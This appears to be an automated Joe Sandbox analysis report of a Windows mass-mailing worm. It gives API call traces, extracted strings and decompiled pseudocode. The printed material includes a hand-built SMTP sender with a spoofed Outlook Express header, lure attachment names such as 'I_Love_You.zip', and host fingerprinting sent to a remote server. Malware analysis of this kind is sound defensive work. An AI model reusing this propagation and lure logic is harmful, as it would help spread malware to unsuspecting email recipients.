0x00406639
0x00406639
0x00406653
0x00406658
0x00406661
0x00406668
0x0040667d
0x00406682
0x00406690
0x00406697
0x00000000
0x0040669d
0x004066f4
0x004066ff
0x00406706
0x00000000
0x0040671c
0x0040671c
0x0040671f
0x00406727
0x00406727
0x00406706
0x0040666a
0x0040666d
0x00406672
0x00000000
0x00406672
0x00406668
0x00406633
0x0040661b
0x004065f0
0x004065ad
0x0040657c
0x0040654a
0x00406536
0x00406514
0x004064fc
0x004064e6
0x004064ce
0x0040648b
0x0040645d
0x00406432
0x00406407
0x004063ef
0x004063c4
0x00406399
0x00406368
0x0040631b
0x0040631b
0x0040631e
0x00406321
0x00406326
0x0040632b
0x00000000
0x00406331
0x00406338
0x00000000
0x00406338
0x0040632b
0x00406319
0x00406745

APIs

memset.MSVCRT ref: 004061C4
GetSystemTime.KERNEL32 ref: 00406249
wsprintfA.USER32 ref: 004062BD
socket.WS2_32 ref: 004062D9
htons.WS2_32 ref: 004062F9
inet_addr.WS2_32 ref: 0040630B
gethostbyname.WS2_32 ref: 00406321
connect.WS2_32 ref: 0040634D
wsprintfA.USER32 ref: 00406386
wsprintfA.USER32 ref: 004063B1
wsprintfA.USER32 ref: 004063DC
wsprintfA.USER32 ref: 0040641F
wsprintfA.USER32 ref: 0040644A
wsprintfA.USER32 ref: 00406478
wsprintfA.USER32 ref: 004064BB
lstrlen.KERNEL32 ref: 004064F2
wsprintfA.USER32 ref: 0040659A
wsprintfA.USER32 ref: 004065DD
wsprintfA.USER32 ref: 00406608
GlobalFree.KERNEL32 ref: 0040666D
GlobalFree.KERNEL32 ref: 0040667D
wsprintfA.USER32 ref: 004066DF
closesocket.WS2_32 ref: 0040671F

Part of subcall function 00406746: lstrlen.KERNEL32 ref: 00406753
Part of subcall function 00406746: send.WS2_32 ref: 00406771

closesocket.WS2_32 ref: 00406731

Strings

--xContext--, xrefs: 00406685
., xrefs: 004066F4
Content-Disposition: attachment; filename="%s", xrefs: 004065FD
Content-Transfer-Encoding: base64, xrefs: 00406621
MIME-Version: 1.0, xrefs: 00406491
RCPT TO: <%s>, xrefs: 004063D1
QUIT, xrefs: 00406708
Wed, xrefs: 004061FC
Fri, xrefs: 00406210
FROM: <%s>, xrefs: 00406414
Content-type: text/plain; charset=ISO-8859-1, xrefs: 00406552, 0040669F
&A$&A(&A,&A0&A4&A8&A<&A, xrefs: 004062A1
Content-Transfer-Encoding: 8bit, xrefs: 0040656A, 004066B3
%s, %d %s %d %d:%d:%d GMT, xrefs: 004062AC
DATA, xrefs: 004063F5
%s, xrefs: 00406589, 004066CE
Date: %s, xrefs: 0040646D
TO: <%s>, xrefs: 0040643F
Sat, xrefs: 0040621A
&A, xrefs: 00406234
--xContext, xrefs: 0040651A, 004065B3
X-Mailer: Microsoft Outlook Express 6.00.2800.1106, xrefs: 004064D4
Subject: %s, xrefs: 004064B0
Sun, xrefs: 00406224
Thu, xrefs: 00406206
HELO %s, xrefs: 00406375
Content-type: Multipart/Mixed; boundary=xContext, xrefs: 00406502
MAIL FROM: <%s>, xrefs: 004063A6
Mon, xrefs: 004061E8
Tue, xrefs: 004061F2
---, xrefs: 004061DE
Content-type: Application/Octet-stream; name="%s"; type:unknown, xrefs: 004065D2
Content-type: text/plain; charset=Windows-1251, xrefs: 00406538

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: wsprintf$FreeGlobalclosesocketlstrlen$SystemTimeconnectgethostbynamehtonsinet_addrmemsetsendsocket
String ID: --xContext--$%s$--xContext$.$ &A$ &A$&A(&A,&A0&A4&A8&A<&A$%s, %d %s %d %d:%d:%d GMT$---$Content-Disposition: attachment; filename="%s"$Content-Transfer-Encoding: 8bit$Content-Transfer-Encoding: base64$Content-type: Application/Octet-stream; name="%s"; type:unknown$Content-type: Multipart/Mixed; boundary=xContext$Content-type: text/plain; charset=ISO-8859-1$Content-type: text/plain; charset=Windows-1251$DATA$Date: %s$FROM: <%s>$Fri$HELO %s$MAIL FROM: <%s>$MIME-Version: 1.0$Mon$QUIT$RCPT TO: <%s>$Sat$Subject: %s$Sun$TO: <%s>$Thu$Tue$Wed$X-Mailer: Microsoft Outlook Express 6.00.2800.1106
API String ID: 1487464711-219272833
Opcode ID: 7510c1c032070805d6ef06775b7fe94ba60b9100971526f10abbc0ca8c33d18d
Instruction ID: 6e52e2717ca3ea0a11f7245c2747809bb71ce8739c615a88298817d05e4ee505
Opcode Fuzzy Hash: 7510c1c032070805d6ef06775b7fe94ba60b9100971526f10abbc0ca8c33d18d
Instruction Fuzzy Hash: 53E12BB44087118AD710AF25D68429EBBF4AF44748F02897EF8C9A7385D77CC9A4CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00402288 Relevance: 79.8, APIs: 43, Strings: 10, Instructions: 346
stringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 48%

			E00402288(void* __eax, char _a4) {
				void* _v16;
				char _v76;
				char _v188;
				char _v300;
				char _v508;
				char _v780;
				char _v812;
				char _v1068;
				int _v1072;
				signed int _v1088;
				void* _v1128;
				char _v1132;
				void* _v1136;
				int _v1140;
				intOrPtr _v1148;
				int _v1152;
				char* _v1156;
				void* _v1160;
				char* _v1164;
				void* _v1168;
				void* _v1172;
				void* _v1180;
				void* _v1188;
				void* _v1196;
				char* _v1204;
				signed int _v1208;
				char* _v1212;
				void* _t350;
				void* _t351;
				signed int _t352;
				void* _t353;
				signed int _t354;
				int _t358;
				void* _t359;
				char _t363;
				void* _t365;
				void* _t367;
				intOrPtr* _t369;
				void** _t370;
				intOrPtr* _t374;

				_v1072 = 0;
				_t363 = _a4;
				_v1132 = _t363;
				L0040C310();
				_t367 = _t365 - 0x458;
				_t358 = 0;
				if(__eax <= 0x64) {
					_t350 =  &_v1068;
					memset(_t350, 0, 0xfa);
					_v1132 = _t363;
					_v1136 = _t350;
					L0040C320();
					_t369 = _t367 - 8;
					_v1140 = "mvcsv.qyy";
					_t351 =  &_v812;
					 *_t369 = _t351;
					E00404C38();
					_v1136 = _t351;
					_v1140 = 0x104;
					 *_t369 =  &_v780;
					E00404620();
					 *_t369 = 6;
					_t352 = E00404EAE();
					 *_t369 = 6;
					_v1088 = E00404EAE();
					while(_t352 == _v1088) {
						 *_t369 = 0xa; // executed
						Sleep(??); // executed
						_t369 = _t369 - 4;
						 *_t369 = 6;
						_v1088 = E00404EAE();
					}
					_v1136 = 0xc8;
					_v1140 = 0;
					 *_t369 =  &_v508;
					memset(??, ??, ??);
					_v1136 = 0x64;
					_v1140 = 0;
					 *_t369 =  &_v300;
					memset(??, ??, ??);
					_v1136 = 0x64;
					_v1140 = 0;
					 *_t369 =  &_v188;
					memset(??, ??, ??);
					_t359 =  &_v76;
					asm("cld");
					memset(_t359, 0, 0xa << 2);
					_t370 = _t369 + 0xc;
					_v1140 =  *(0x40d0c4 + _t352 * 4);
					_t353 = _t359;
					 *_t370 = _t359;
					L0040C328();
					_v1148 = 0x40ed9b;
					_v1152 = _t353;
					L0040C328();
					_v1156 =  *((intOrPtr*)(0x40d0c4 + _v1088 * 4));
					_v1160 = _t353;
					L0040C328();
					_v1164 = 0x40ed9d;
					_v1168 = _t353;
					L0040C328();
					_t374 = _t370 - 0xfffffffffffffff0;
					 *_t374 = 0x12;
					_t354 = E00404EAE();
					_v1172 = 0x40eda2;
					 *_t374 =  &_v1068;
					if(strstr(??, ??) != 0) {
						 *_t374 = 8;
						_t354 = E00404EAE() + 0x12;
					}
					if(_t354 <= 0x19) {
						switch( *((intOrPtr*)(_t354 * 4 +  &M0040EE08))) {
							case 0:
								_v1172 =  *((intOrPtr*)(0x40d0e0 + _t354 * 4));
								 *_t374 =  &_v188;
								L0040C328();
								_t375 = _t374 - 8;
								 *_t375 = 8;
								_v1180 =  *((intOrPtr*)(0x40d080 + E00404EAE() * 4));
								 *_t375 =  &_v508;
								L0040C328();
								_t376 = _t375 - 8;
								 *_t376 = 2;
								_v1188 = 0x40d148[E00404EAE()];
								 *_t376 =  &_v300;
								L0040C328();
								_t374 = _t376 - 8;
								goto L31;
							case 1:
								__eax =  *0x40d150;
								_v1172 =  *0x40d150;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1180 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(8);
								_v1188 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 2:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(8);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d154; // 0x40eb4e
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 3:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(8);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d158; // 0x40eb5f
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 4:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(8);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d15c; // 0x40eb73
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 5:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(8);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d160; // 0x40eb86
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 6:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d098; // 0x40e5e0
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 7:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d09c; // 0x40e618
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 8:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d08c; // 0x40e558
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 9:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d088; // 0x40e508
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xa:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0a0; // 0x40e64c
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								_v1188 = "admin@bigtits.com";
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xb:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(2);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xc:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1180 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1188 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0a4; // 0x40e688
								_v1196 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__edx =  &_v76;
								asm("cld");
								__ecx = 0xa;
								__eax = 0;
								__edi = __edx;
								__eax = memset(__edi, 0, 0xa << 2);
								__edi = __edi + __ecx;
								__ecx = 0;
								_v1204 = "I_Love_You.zip";
								_v1208 = __edx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xd:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1180 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1188 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0a8; // 0x40e6b2
								_v1196 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__edx =  &_v76;
								asm("cld");
								__ecx = 0xa;
								__eax = 0;
								__edi = __edx;
								__eax = memset(__edi, 0, 0xa << 2);
								__edi = __edi + __ecx;
								__ecx = 0;
								_v1204 = "Happy_birthday_to_you.zip";
								_v1208 = __edx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xe:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(2);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x16);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(4);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								_v1072 = 1;
								goto L31;
							case 0xf:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0b4; // 0x40e785
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								if(E00404EAE(2) != 0) {
									__eax = E00404EAE(0x16);
									_v1188 = __eax;
									__ebx =  &_v300;
									 *__esp = __ebx;
									L0040C328();
									__esp = __esp - 8;
									__eax = E00404EAE(4);
									_v1196 = __eax;
									 *__esp = __ebx;
									L0040C328();
									__esp = __esp - 8;
									__edx =  &_v76;
									asm("cld");
									__ecx = 0xa;
									__eax = 0;
									__edi = __edx;
									__eax = memset(__edi, 0, 0xa << 2);
									__edi = __edi + __ecx;
									__ecx = 0;
									_v1204 = 0x40ede1;
									_v1208 = __edx;
									L0040C328();
									__esp = __esp - 8;
								} else {
									__eax = E00404EAE(0x15);
									_v1188 = __eax;
									__ebx =  &_v300;
									 *__esp = __ebx;
									L0040C328();
									__esp = __esp - 8;
									__eax = E00404EAE(4);
									_v1196 = __eax;
									 *__esp = __ebx;
									L0040C328();
									__esp = __esp - 8;
									__edx =  &_v76;
									asm("cld");
									__ecx = 0xa;
									__eax = 0;
									__edi = __edx;
									__eax = memset(__edi, 0, 0xa << 2);
									__edi = __edi + __ecx;
									__ecx = 0;
									_v1204 = 0x40ede1;
									_v1208 = __edx;
									L0040C328();
									__esp = __esp - 8;
								}
								_v1212 = "mvcsvnd.qyy";
								__ebx =  &_v812;
								 *__esp = __ebx;
								__eax = E00404C38();
								_v1208 = __ebx;
								_v1212 = 0x104;
								__eax =  &_v780;
								 *__esp =  &_v780;
								__eax = E00404620();
								_v1072 = 1;
								goto L31;
							case 0x10:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0b8; // 0x40e7a0
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x16);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(4);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								_v1072 = 1;
								goto L31;
							case 0x11:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0bc; // 0x40e7cc
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d148; // 0x40eb0c
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								_v1072 = 1;
								goto L31;
							case 0x12:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0c0; // 0x40e7f1
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x16);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(4);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__edx =  &_v76;
								asm("cld");
								__ecx = 0xa;
								__eax = 0;
								__edi = __edx;
								__eax = memset(__edi, 0, 0xa << 2);
								__edi = __edi + __ecx;
								__ecx = 0;
								_v1204 = 0x40edf7;
								_v1208 = __edx;
								L0040C328();
								__esp = __esp - 8;
								_v1072 = 1;
								L31:
								while(E00404F0A(_t354, _t360) == 0) {
									 *_t374 = 0x7530;
									Sleep(??);
									_t374 = _t374 - 4;
								}
								_v1152 = _v1072;
								_v1156 =  &_v76;
								_v1160 =  &_v780;
								_v1164 =  &_v508;
								_v1168 =  &_v188;
								_v1172 =  &_v1068;
								 *_t374 =  &_v300; // executed
								E00405EE8(); // executed
								_t358 = 0;
								goto L33;
						}
					}
					goto L31;
				}
				L33:
				return _t358;
			}

APIs

lstrlen.KERNEL32 ref: 004022A4
memset.MSVCRT ref: 004022D3
lstrcpy.KERNEL32 ref: 004022DF

Part of subcall function 00404620: memset.MSVCRT ref: 0040463D
Part of subcall function 00404620: GetSystemDirectoryA.KERNEL32 ref: 00404649
Part of subcall function 00404620: lstrlen.KERNEL32 ref: 00404654
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 0040466E
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 00404680

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

Sleep.KERNEL32 ref: 00402346
memset.MSVCRT ref: 0040237B
memset.MSVCRT ref: 00402399
memset.MSVCRT ref: 004023B7
lstrcat.KERNEL32 ref: 004023DF
lstrcat.KERNEL32 ref: 004023F2
lstrcat.KERNEL32 ref: 0040240A
lstrcat.KERNEL32 ref: 0040241D
strstr.MSVCRT ref: 00402444
lstrcat.KERNEL32 ref: 00402482
lstrcat.KERNEL32 ref: 004024AA
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 004024D2

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Strings

d, xrefs: 004023A4
@, xrefs: 004026EA
mvcsv.qyy, xrefs: 004022E7
X@, xrefs: 004027F4
N@, xrefs: 00402586
.ru, xrefs: 00402439
.zip, xrefs: 00402412
8@, xrefs: 004024DF
_@, xrefs: 004025E9
s@, xrefs: 0040264C

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrcat$memset$Sleeplstrlen$ConnectedCountDirectoryHandleInternetLibraryLoadModuleStateSystemTicklstrcpyrandsrandstrstr
String ID: .ru$.zip$8@$N@$X@$_@$d$mvcsv.qyy$s@$@
API String ID: 4149311011-1716888737
Opcode ID: 4b0d2b591e51dae0937b64699220b662df0f8fadbd61b2e65e6666830c388cae
Instruction ID: c4b552956d8c88359d0401bfea8a3880dfb39e4fafa2b11eb934faa6a3ed69b2
Opcode Fuzzy Hash: 4b0d2b591e51dae0937b64699220b662df0f8fadbd61b2e65e6666830c388cae
Instruction Fuzzy Hash: 27F1DBB5814304CBCB10BF75D98569DBBF0BB84304F41897EE9C8A7291EB389698CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00401C2C Relevance: 49.3, APIs: 20, Strings: 8, Instructions: 294
stringnetworksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00401C63
memset.MSVCRT ref: 00401C81
_mbscat.MSVCRT ref: 00401C90
_mbscat.MSVCRT ref: 00401CCD

Part of subcall function 00405316: gethostname.WS2_32 ref: 0040532B
Part of subcall function 00405316: gethostbyname.WS2_32 ref: 00405336
Part of subcall function 00405316: inet_ntoa.WS2_32 ref: 00405351

_mbscat.MSVCRT ref: 00401D1B

Part of subcall function 00405256: GetVersionExA.KERNEL32 ref: 00405272

_mbscat.MSVCRT ref: 00401D49
_mbscat.MSVCRT ref: 00401D7D
Sleep.KERNEL32 ref: 00401E82
_mbscat.MSVCRT ref: 00401DD7

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

send.WS2_32 ref: 00401EF2
recv.WS2_32 ref: 00401F2A
strtok.MSVCRT ref: 00401F89
strtok.MSVCRT ref: 00401FA8
closesocket.WS2_32 ref: 00401FBD
atoi.MSVCRT ref: 00401FD4
atoi.MSVCRT ref: 00401FEA
memset.MSVCRT ref: 00402043
lstrlen.KERNEL32 ref: 00402051

Part of subcall function 0040447C: CryptAcquireContextA.ADVAPI32 ref: 004044BD
Part of subcall function 0040447C: CryptCreateHash.ADVAPI32 ref: 004044F7
Part of subcall function 0040447C: CryptHashData.ADVAPI32 ref: 00404528
Part of subcall function 0040447C: CryptDestroyHash.ADVAPI32 ref: 0040453A
Part of subcall function 0040447C: CryptReleaseContext.ADVAPI32 ref: 00404550

lstrcmp.KERNEL32 ref: 004020AB
lstrcmp.KERNEL32 ref: 004020CD

Strings

P, xrefs: 00401E93
nt: , xrefs: 00401E25
3159, xrefs: 00401CE8
ost:, xrefs: 00401DB8
-Age, xrefs: 00401E1A
expl, xrefs: 00401E44
=-A, xrefs: 00401DCD, 00401E9B
wer, xrefs: 00401E4F

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: _mbscat$Crypt$Hashmemset$Contextatoilstrcmpstrtok$AcquireConnectedCreateDataDestroyHandleInternetLibraryLoadModuleReleaseSleepStateVersionclosesocketgethostbynamegethostnameinet_ntoalstrlenrecvsend
String ID: -Age$3159$=-A$P$expl$nt: $ost:$wer
API String ID: 1488133686-2239103369
Opcode ID: 06ab13748d89e4fe487ba4cdb763cd4af22c351d731bff1beb7413a24e305e0b
Instruction ID: 99ea3051cc31653010b65aed47ab6d4c6dbc815114f0d374468db723e332898a
Opcode Fuzzy Hash: 06ab13748d89e4fe487ba4cdb763cd4af22c351d731bff1beb7413a24e305e0b
Instruction Fuzzy Hash: 79C186B48043148BD724AF29C58535A7BF1EF85318F2086AEE45C5B7D2CB798D86CF46

Uniqueness

Uniqueness Score: -1.00%

Function 0040829C Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 231
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

